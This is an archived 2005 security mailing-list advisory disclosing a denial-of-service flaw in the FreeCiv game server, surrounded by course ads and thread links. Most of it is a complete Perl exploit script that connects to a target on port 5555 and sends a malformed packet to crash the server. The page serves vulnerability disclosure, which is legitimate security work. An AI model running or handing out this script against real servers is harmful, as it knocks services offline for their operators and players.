Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [EXPL] FreeCiv Server DoS Exploit |
|---|---|
| Date: | 22 Mar 2005 17:59:00 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - FreeCiv Server DoS Exploit ------------------------------------------------------------------------ SUMMARY " <http://www.freeciv.org/> Freeciv is a free turn-based multiplayer strategy game, in which each player becomes the leader of a civilization, fighting to obtain the ultimate goal: To become the greatest civilization." Flaws in the handling of inbound data can cause the FreeCiv server to crash. DETAILS Vulnerable Systems: * Freeciv Server versions 2.0.0b8 and prior Exploit: #!/usr/bin/perl # Freeciv Server <= 2.0.0beta8 DoS exploit (windows&linux releases) # Vendor: http://www.freeciv.org/ # Advisory: Nico Spicher [ http://triplex.it-helpnet.de/ ] # There is a vulnerability in the handling of incoming data. If the request # is uncomplete or modified, the server crashes because of a bug in the # get_packet_from_connection function in packets.c. Look at the code below # for more information. use IO::Socket; if (@ARGV < 1) { system "clear"; print "[-] Usage: exploit_freeciv.pl <host ip>\n"; exit(1); } system "clear"; $server = $ARGV[0]; print "[-] Freeciv DoS Exploit\n\n"; print "[-] Server IP: "; print $server; print "\n[-] Connecting to IP ...\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "5555"); unless ($socket) { die "[-] $server is offline\n" } print "[-] Connected\n\n"; print "[-] Creating string\n"; $string="@+2.0 conn_ping_info username_info-beta8"; # >civserver: packets.c:385: get_packet_from_connection: # Assertion 'error == 0' failed. # Aborted(core dumped) print "[-] Sending string\n\n"; print $socket "$string"; print "[>] Attack successful - Server killed\n"; close($socket); ADDITIONAL INFORMATION The information has been provided by Nico Spicher. The original article can be found at: <http://triplex.it-helpnet.de/> http://triplex.it-helpnet.de/ ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [UNIX] paBox Cross Site Scripting, SecuriTeam |
|---|---|
| Next by Date: | [UNIX] xloadimage Multiple Vulnerabilities (Buffer Overflow, Command Execution), SecuriTeam |
| Previous by Thread: | [UNIX] paBox Cross Site Scripting, SecuriTeam |
| Next by Thread: | [UNIX] xloadimage Multiple Vulnerabilities (Buffer Overflow, Command Execution), SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |